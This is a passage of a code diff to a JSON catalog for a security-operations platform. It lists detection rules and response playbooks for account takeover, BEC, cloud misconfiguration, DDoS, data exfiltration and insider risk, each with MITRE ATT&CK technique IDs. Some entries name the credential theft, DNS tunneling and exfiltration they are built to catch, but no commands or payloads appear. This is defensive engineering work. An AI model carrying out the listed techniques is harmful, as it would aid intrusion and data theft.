Threat-Intel-Blocked IP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/egress-to-blocklisted-ip.yaml"+ },+ {+ "id": "det-network-021",+ "type": "detection",+ "name": "Internal Host Spamming SMTP",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Internal Host Spamming SMTP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1566"+ ],+ "log_source": "ndr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/network/internal-host-spamming-mail.yaml"+ },+ {+ "id": "det-network-022",+ "type": "detection",+ "name": "RDP Logon Session With Concurrent Active Console Session",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'RDP Logon Session With Concurrent Active Console Session'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1021.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/network/rdp-screen-takeover.yaml"+ },+ {+ "id": "det-network-023",+ "type": "detection",+ "name": "Outbound IPv6 Teredo / 6to4 Tunneling Traffic",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound IPv6 Teredo / 6to4 Tunneling Traffic'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1572"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/ipv6-tunnel-outbound.yaml"+ },+ {+ "id": "det-network-024",+ "type": "detection",+ "name": "DNS-over-HTTPS to Non-Approved Resolver",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'DNS-over-HTTPS to Non-Approved Resolver'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1071.004"+ ],+ "log_source": "proxy",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/dns-over-https-rare.yaml"+ },+ {+ "id": "det-network-025",+ "type": "detection",+ "name": "Outbound FTP Bulk Transfer From Non-Allowlisted Host",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound FTP Bulk Transfer From Non-Allowlisted Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1048.003"+ ],+ "log_source": "ndr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/network/ftp-outbound-anomaly.yaml"+ },+ {+ "id": "det-network-026",+ "type": "detection",+ "name": "Outbound Clear-Text Protocol Carrying Credentials",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Clear-Text Protocol Carrying Credentials'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1040"+ ],+ "log_source": "ndr",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/network/outbound-clear-text-protocol.yaml"+ },+ {+ "id": "det-network-027",+ "type": "detection",+ "name": "NTP Amplification Reflector Attack (Inbound monlist)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'NTP Amplification Reflector Attack (Inbound monlist)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1498.002"+ ],+ "log_source": "ndr",+ "playbook": "tpl-ddos",+ "verified": true,+ "source": "core",+ "path": "detections/network/ntp-amplification.yaml"+ },+ {+ "id": "det-network-028",+ "type": "detection",+ "name": "Peer-to-Peer Protocol on Corporate Network",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Peer-to-Peer Protocol on Corporate Network'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "low",+ "category": "network",+ "mitre_techniques": [+ "T1071"+ ],+ "log_source": "ndr",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/network/p2p-protocol-on-corp-net.yaml"+ },+ {+ "id": "det-network-029",+ "type": "detection",+ "name": "Kerberos Encryption Downgrade to RC4",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Kerberos Encryption Downgrade to RC4'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1558.003"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/network/kerberos-encryption-downgrade.yaml"+ },+ {+ "id": "det-network-030",+ "type": "detection",+ "name": "WMI Remote Process Creation From Workstation",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'WMI Remote Process Creation From Workstation'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1047",+ "T1021.006"+ ],+ "log_source": "windows",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/network/wmi-remote-execution.yaml"+ },+ {+ "id": "ato-credential-stuffing-v1",+ "type": "playbook",+ "name": "ATO: Credential Stuffing \u2014 Block & Reset",+ "description": "Triggered by high-volume failed logins from a single source. Blocks the IP range, identifies impacted users, and forces resets.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 7,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1110.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-credential-stuffing.playbook.json"+ },+ {+ "id": "ato-impossible-travel-block-v1",+ "type": "playbook",+ "name": "ATO: Impossible Travel \u2014 Block & Reset",+ "description": "Triggered by impossible-travel detections. Blocks the source IP, force-revokes active sessions for the user, and requires human approval before forcing a password reset.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 9,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1078"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-impossible-travel-block.playbook.json"+ },+ {+ "id": "ato-mfa-fatigue-response-v1",+ "type": "playbook",+ "name": "ATO: MFA Fatigue \u2014 Challenge & Reset",+ "description": "Triggered when a user receives an unusual burst of MFA prompts. Enforces step-up auth and resets MFA factors after approval.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "mfa"+ ],+ "severity": "high",+ "trigger": "alert",+ "steps": 7,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1621"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-mfa-fatigue-response.playbook.json"+ },+ {+ "id": "ato-session-token-theft-v1",+ "type": "playbook",+ "name": "ATO: Session Token Theft \u2014 Revoke & Isolate",+ "description": "Triggered when an authenticated session is observed from a new device + new geo simultaneously. Revokes all tokens and isolates the originating endpoint if known.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "session-hijack"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1539"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-session-token-theft.playbook.json"+ },+ {+ "id": "ato-suspicious-oauth-grant-v1","type": "playbook",- "name": "Malware Triage",- "description": "Automated triage workflow for potential malware incidents. Enriches indicators, isolates affected endpoints, and creates a detailed investigation report.",+ "name": "ATO: Suspicious OAuth Grant \u2014 Revoke & Investigate",+ "description": "Triggered when a user grants a new OAuth scope to an unfamiliar third-party app. Revokes the grant and investigates.","version": "1.0.0","author": "AiSOC",- "tags": ["malware", "endpoint", "triage"],+ "tags": [+ "account-takeover",+ "ato",+ "identity",+ "oauth"+ ],"severity": "high","trigger": "alert",- "steps": 7+ "steps": 5,+ "category": "account-takeover",+ "mitre_techniques": [+ "T1528"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/account-takeover/ato-suspicious-oauth-grant.playbook.json"},{- "id": "tpl-phishing-response",+ "id": "bec-conditional-access-bypass-v1","type": "playbook",- "name": "Phishing Email Response",- "description": "Handles phishing email reports end-to-end: header analysis, link reputation checks, mailbox purge, and user notification.",+ "name": "BEC: Conditional Access Policy Bypass",+ "description": "Triggered when a BEC-related sign-in succeeds from a region that should be blocked by Conditional Access. Restores policy.","version": "1.0.0","author": "AiSOC",- "tags": ["phishing", "email", "identity"],- "severity": "medium",- "trigger": "manual",- "steps": 8+ "tags": [+ "bec",+ "bec",+ "identity",+ "conditional-access"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "bec",+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-conditional-access-bypass.playbook.json"+ },+ {+ "id": "bec-impersonation-domain-v1",+ "type": "playbook",+ "name": "BEC: Impersonation Domain Quarantine",+ "description": "Triggered when an inbound email originates from a domain that look-alikes an executive or vendor. Quarantines and blocks.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "bec",+ "bec",+ "email"+ ],+ "severity": "high",+ "trigger": "alert",+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1656"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-impersonation-domain.playbook.json"},{- "id": "tpl-ransomware-response",+ "id": "bec-inbox-rule-malicious-v1","type": "playbook",- "name": "Ransomware Response",- "description": "Critical-severity ransomware containment: immediate network isolation, shadow copy status, backup verification, and executive notification.",+ "name": "BEC: Malicious Inbox Rule Removed",+ "description": "Triggered when a forwarding/filter rule is created that hides vendor or finance keywords. Removes the rule and resets creds.","version": "1.0.0","author": "AiSOC",- "tags": ["ransomware", "endpoint", "containment"],+ "tags": [+ "bec",+ "bec",+ "email"+ ],"severity": "critical","trigger": "alert",- "steps": 10+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1564.008"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-inbox-rule-malicious.playbook.json"},{- "id": "tpl-brute-force-lockout",+ "id": "bec-token-theft-v1","type": "playbook",- "name": "Brute Force Account Lockout",- "description": "Responds to brute-force login attempts: account lockout, source IP block, MFA enforcement check, and affected-user notification.",+ "name": "BEC: M365 / Workspace Token Theft",+ "description": "Triggered when a refresh token is observed from a new ASN with no interactive sign-in. Revokes refresh tokens and forces MFA.","version": "1.0.0","author": "AiSOC",- "tags": ["brute-force", "identity", "authentication"],- "severity": "high",+ "tags": [+ "bec",+ "bec",+ "identity",+ "token-theft"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1539"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-token-theft.playbook.json"+ },+ {+ "id": "bec-vendor-payment-redirect-v1",+ "type": "playbook",+ "name": "BEC: Vendor Payment Redirect \u2014 Freeze",+ "description": "Triggered when a vendor banking detail change happens via email. Freezes pending payments and pages CFO.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "bec",+ "bec",+ "finance"+ ],+ "severity": "critical","trigger": "alert",- "steps": 6+ "steps": 6,+ "category": "bec",+ "mitre_techniques": [+ "T1565.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/bec/bec-vendor-payment-redirect.playbook.json"},{- "id": "tpl-data-exposure-response",+ "id": "cloud-azure-blob-public-v1","type": "playbook",- "name": "Data Exposure Response",- "description": "Handles suspected data-exposure incidents: asset identification, access log review, external notification assessment, and remediation tracking.",+ "name": "Cloud: Azure Blob Container Public",+ "description": "Triggered when an Azure Storage container is set to public. Reverts to private and audits.","version": "1.0.0","author": "AiSOC",- "tags": ["data-loss", "cloud", "compliance"],+ "tags": [+ "cloud-misconfig",+ "cloud",+ "azure",+ "storage"+ ],"severity": "high",- "trigger": "manual",- "steps": 8+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-azure-blob-public.playbook.json"+ },+ {+ "id": "cloud-cloudtrail-disabled-v1",+ "type": "playbook",+ "name": "Cloud: CloudTrail Disabled \u2014 Re-enable",+ "description": "Triggered when a CloudTrail trail is stopped. Restarts trail and audits API calls in the dark window.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "logging"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1562.008"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-cloudtrail-disabled.playbook.json"+ },+ {+ "id": "cloud-cross-account-trust-v1",+ "type": "playbook",+ "name": "Cloud: Unexpected Cross-Account Trust",+ "description": "Triggered when a role trust policy adds an external account ID not on the allow-list. Revokes and audits.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "iam"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1078.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-cross-account-trust.playbook.json"},{- "id": "tpl-privilege-escalation",+ "id": "cloud-gke-anonymous-v1","type": "playbook",- "name": "Privilege Escalation Response",- "description": "Investigates privilege-escalation events: session review, lateral movement tracing, account suspension, and privilege audit.",+ "name": "Cloud: GKE Cluster Anonymous Auth",+ "description": "Triggered when GKE cluster is configured to allow anonymous Kubernetes API access. Disables anonymous and audits.","version": "1.0.0","author": "AiSOC",- "tags": ["privilege-escalation", "identity", "cloud"],+ "tags": [+ "cloud-misconfig",+ "cloud",+ "gcp",+ "kubernetes"+ ],"severity": "critical","trigger": "alert",- "steps": 7+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1190"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-gke-anonymous.playbook.json"},{- "id": "tpl-web-attack-response",+ "id": "cloud-iam-overpriv-v1","type": "playbook",- "name": "Web Application Attack Response",- "description": "Automated response to web-application attacks (SQLi, XSS, RCE): WAF rule creation, log collection, vulnerability triage, and patch-management ticket creation.",+ "name": "Cloud: Over-Privileged IAM \u2014 Detach & Review",+ "description": "Triggered when IAM Access Analyzer flags an over-privileged role. Detaches the policy and opens an owner-review ticket.","version": "1.0.0","author": "AiSOC",- "tags": ["web", "application", "waf"],+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "iam"+ ],"severity": "high","trigger": "alert",- "steps": 9+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1078.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-iam-overpriv.playbook.json"+ },+ {+ "id": "cloud-key-leak-v1",+ "type": "playbook",+ "name": "Cloud: Cloud Access Key Leaked",+ "description": "Triggered when a long-lived access key is found in a public repo or paste site. Rotates the key and scans for downstream use.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "secrets"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1552.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-key-leak.playbook.json"+ },+ {+ "id": "cloud-mfa-disabled-root-v1",+ "type": "playbook",+ "name": "Cloud: Root Account MFA Disabled",+ "description": "Triggered when root MFA is disabled. Re-enables MFA and pages the cloud-platform owner immediately.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "iam",+ "mfa"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1556"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-mfa-disabled-root.playbook.json"+ },+ {+ "id": "cloud-rds-public-v1",+ "type": "playbook",+ "name": "Cloud: RDS Instance Publicly Accessible",+ "description": "Triggered when an RDS instance toggles to publicly accessible. Removes public access and audits.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "rds"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1190"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-rds-public.playbook.json"+ },+ {+ "id": "cloud-s3-public-v1",+ "type": "playbook",+ "name": "Cloud: S3 Bucket Public \u2014 Re-private & Audit",+ "description": "Triggered by `s3-public-bucket` detection. Sets bucket private, enables Block Public Access, and audits last 7d access logs.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "s3"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-s3-public.playbook.json"+ },+ {+ "id": "cloud-security-group-open-v1",+ "type": "playbook",+ "name": "Cloud: Security Group Opens 0.0.0.0/0",+ "description": "Triggered when a security group rule allows ingress from 0.0.0.0/0 to a sensitive port. Closes the rule and audits the change.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "network"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "cloud-misconfig",+ "mitre_techniques": [+ "T1190"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/cloud-misconfig/cloud-security-group-open.playbook.json"},{- "id": "tpl-insider-threat",+ "id": "ddos-amplification-dns-v1","type": "playbook",- "name": "Insider Threat Investigation",- "description": "Structured investigation for insider-threat cases: activity baseline, DLP alert correlation, HR notification workflow, and evidence preservation.",+ "name": "DDoS: DNS Amplification",+ "description": "Triggered when an inbound spike of crafted DNS queries hits an authoritative server. Sinkholes spoofed sources.","version": "1.0.0","author": "AiSOC",- "tags": ["insider-threat", "dlp", "investigation"],+ "tags": [+ "ddos",+ "ddos",+ "dns"+ ],"severity": "high",- "trigger": "manual",- "steps": 9+ "trigger": "alert",+ "steps": 4,+ "category": "ddos",+ "mitre_techniques": [+ "T1498.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-amplification-dns.playbook.json"},{- "id": "tpl-cloud-misconfig",+ "id": "ddos-app-layer-l7-v1","type": "playbook",- "name": "Cloud Misconfiguration Remediation",- "description": "Remediates cloud misconfigurations: resource identification, exposure window calculation, automated remediation script, and CSPM alert closure.",+ "name": "DDoS: Application Layer L7",+ "description": "Triggered by anomalous L7 request rate or pattern. Engages WAF rate-limit rule and challenge-page.","version": "1.0.0","author": "AiSOC",- "tags": ["cloud", "misconfiguration", "cspm"],- "severity": "medium",+ "tags": [+ "ddos",+ "ddos",+ "waf"+ ],+ "severity": "critical","trigger": "alert",- "steps": 7+ "steps": 5,+ "category": "ddos",+ "mitre_techniques": [+ "T1498.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-app-layer-l7.playbook.json"},{- "id": "tpl-account-compromise",+ "id": "ddos-credential-stuffing-fraud-v1","type": "playbook",- "name": "Account Compromise Response",- "description": "Responds to compromised account indicators: forced password reset, session revocation, MFA re-enrollment, and activity timeline generation.",+ "name": "DDoS: Auth-Endpoint Credential Stuffing",+ "description": "Triggered when /login takes a sustained spike of failed attempts. Combines DDoS + credential-stuffing response: WAF challenge, rate-limit, source-IP block.","version": "1.0.0","author": "AiSOC",- "tags": ["account-compromise", "identity", "authentication"],+ "tags": [+ "ddos",+ "ddos",+ "ato"+ ],"severity": "high","trigger": "alert",- "steps": 8+ "steps": 6,+ "category": "ddos",+ "mitre_techniques": [+ "T1110.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-credential-stuffing-fraud.playbook.json"},{- "id": "tpl-endpoint-isolation",+ "id": "ddos-syn-flood-v1","type": "playbook",- "name": "Endpoint Isolation & Forensics",- "description": "Isolates a compromised endpoint via EDR API, captures memory and disk artefacts for forensic analysis, and triggers downstream investigation.",+ "name": "DDoS: SYN Flood",+ "description": "Triggered by SYN flood pattern at edge. Enables SYN cookies and increases backend capacity.","version": "1.0.0","author": "AiSOC",- "tags": ["endpoint", "forensics", "isolation"],+ "tags": [+ "ddos",+ "ddos",+ "network"+ ],"severity": "critical","trigger": "alert",- "steps": 8+ "steps": 5,+ "category": "ddos",+ "mitre_techniques": [+ "T1498"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-syn-flood.playbook.json"},{- "id": "tpl-credential-compromise",+ "id": "ddos-volumetric-l3-v1","type": "playbook",- "name": "Credential Compromise Response",- "description": "Handles credential-dumping events: process termination, memory capture, SIEM correlation, and credential-reset orchestration across linked accounts.",+ "name": "DDoS: Volumetric L3/L4",+ "description": "Triggered by volumetric flood detection at edge. Engages scrubbing provider and pages on-call.","version": "1.0.0","author": "AiSOC",- "tags": ["credentials", "endpoint", "identity"],+ "tags": [+ "ddos",+ "ddos",+ "network"+ ],"severity": "critical","trigger": "alert",- "steps": 9+ "steps": 4,+ "category": "ddos",+ "mitre_techniques": [+ "T1498"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ddos/ddos-volumetric-l3.playbook.json"},{- "id": "det-net-001",- "type": "detection",- "name": "C2 Beacon High-Frequency Periodic Connections",- "description": "Detects C2 beaconing based on high-frequency periodic network connections.",+ "id": "exfil-archive-egress-v1",+ "type": "playbook",+ "name": "Exfil: Archive File Egress (.zip / .7z / .rar)",+ "description": "Triggered when a host uploads an archive to an external dest. Holds the file in DLP review queue and notifies user's manager.","version": "1.0.0","author": "AiSOC",- "tags": ["c2", "network", "mitre.attack.t1071"],+ "tags": [+ "data-exfil",+ "exfil",+ "dlp",+ "archive"+ ],"severity": "high",- "category": "network"+ "trigger": "alert",+ "steps": 5,+ "category": "data-exfil",+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-archive-egress.playbook.json"},{- "id": "det-net-002",- "type": "detection",- "name": "DNS Data Exfiltration via Tunnelling",- "description": "Detects DNS tunnelling activity used for data exfiltration.",+ "id": "exfil-dns-tunneling-v1",+ "type": "playbook",+ "name": "Exfil: DNS Tunneling",+ "description": "Triggered by high-entropy DNS query length on a host. Sinkholes the suspect domain and isolates the host.","version": "1.0.0","author": "AiSOC",- "tags": ["dns", "exfiltration", "mitre.attack.t1048.003"],+ "tags": [+ "data-exfil",+ "exfil",+ "dns"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1071.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-dns-tunneling.playbook.json"+ },+ {+ "id": "exfil-large-upload-v1",+ "type": "playbook",+ "name": "Exfil: Large Outbound Upload",+ "description": "Triggered when a host uploads >X GB to a non-corporate destination in a short window. Blocks destination and investigates.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "data-exfil",+ "exfil",+ "dlp"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-large-upload.playbook.json"+ },+ {+ "id": "exfil-personal-cloud-v1",+ "type": "playbook",+ "name": "Exfil: Personal Cloud Storage Upload",+ "description": "Triggered when corporate data uploads to a personal cloud (personal Drive, Dropbox, iCloud). Blocks dest, manager notify.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "data-exfil",+ "exfil",+ "saas"+ ],"severity": "high",- "category": "network"+ "trigger": "alert",+ "steps": 4,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-personal-cloud.playbook.json"},{- "id": "det-net-003",- "type": "detection",- "name": "Internal Network Port Scan",- "description": "Identifies internal network port scanning activity.",+ "id": "exfil-removable-media-v1",+ "type": "playbook",+ "name": "Exfil: Sensitive Data to Removable Media",+ "description": "Triggered when a sensitive file is written to a USB volume. Blocks USB writes via EDR policy and opens a ticket.","version": "1.0.0","author": "AiSOC",- "tags": ["port-scan", "reconnaissance", "mitre.attack.t1046"],+ "tags": [+ "data-exfil",+ "exfil",+ "endpoint",+ "usb"+ ],"severity": "medium",- "category": "network"+ "trigger": "alert",+ "steps": 4,+ "category": "data-exfil",+ "mitre_techniques": [+ "T1052"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/data-exfil/exfil-removable-media.playbook.json"},{- "id": "det-ep-001",- "type": "detection",- "name": "Ransomware - Mass File Extension Modification",- "description": "Detects rapid mass file rename operations with known ransomware extension patterns.",+ "id": "insider-after-hours-access-v1",+ "type": "playbook",+ "name": "Insider: Anomalous After-Hours Access",+ "description": "Triggered when a user accesses sensitive systems outside their normal pattern. Step-up MFA and log for HR review.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "insider-risk",+ "insider",+ "anomaly"+ ],+ "severity": "medium",+ "trigger": "alert",+ "steps": 4,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1078"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-after-hours-access.playbook.json"+ },+ {+ "id": "insider-mass-download-v1",+ "type": "playbook",+ "name": "Insider: Mass File Download",+ "description": "Triggered when a single user downloads >N files from a sensitive store in <T window. Reduces user permissions and notifies manager.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "insider-risk",+ "insider",+ "dlp"+ ],+ "severity": "high",+ "trigger": "alert",+ "steps": 5,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-mass-download.playbook.json"+ },+ {+ "id": "insider-privilege-misuse-v1",+ "type": "playbook",+ "name": "Insider: Privilege Misuse",+ "description": "Triggered when a privileged account performs actions outside its approved JIT window. Revokes privilege and pages HR-Sec.","version": "1.0.0","author": "AiSOC",- "tags": ["ransomware", "endpoint", "mitre.attack.t1486"],+ "tags": [+ "insider-risk",+ "insider",+ "privilege"+ ],"severity": "critical",- "category": "endpoint"+ "trigger": "alert",+ "steps": 4,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1078.004"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-privilege-misuse.playbook.json"},{- "id": "det-ep-002",- "type": "detection",- "name": "Living-off-the-Land Binary Abuse (LOLBAS)",- "description": "Detects abuse of legitimate Windows binaries to execute malicious payloads.",+ "id": "insider-resignation-data-access-v1",+ "type": "playbook",+ "name": "Insider: Resignation + Sensitive Access",+ "description": "Triggered when a user with a recent resignation flag accesses sensitive data. Read-only mode and HR audit.","version": "1.0.0","author": "AiSOC",- "tags": ["lolbas", "endpoint", "mitre.attack.t1218"],+ "tags": [+ "insider-risk",+ "insider",+ "hr"+ ],"severity": "high",- "category": "endpoint"+ "trigger": "alert",+ "steps": 5,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1530"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-resignation-data-access.playbook.json"},{- "id": "det-ep-003",- "type": "detection",- "name": "Credential Dumping - LSASS Memory Access",- "description": "Detects memory access attempts against lsass.exe with credential-dumping access masks.",+ "id": "insider-source-code-exfil-v1",+ "type": "playbook",+ "name": "Insider: Source-Code Exfil",+ "description": "Triggered when a developer pushes private source to a personal remote or pastebin-like target. Blocks dest, pages eng-leadership.","version": "1.0.0","author": "AiSOC",- "tags": ["credentials", "endpoint", "mitre.attack.t1003.001"],+ "tags": [+ "insider-risk",+ "insider",+ "source-code"+ ],"severity": "critical",- "category": "endpoint"+ "trigger": "alert",+ "steps": 5,+ "category": "insider-risk",+ "mitre_techniques": [+ "T1567"+ 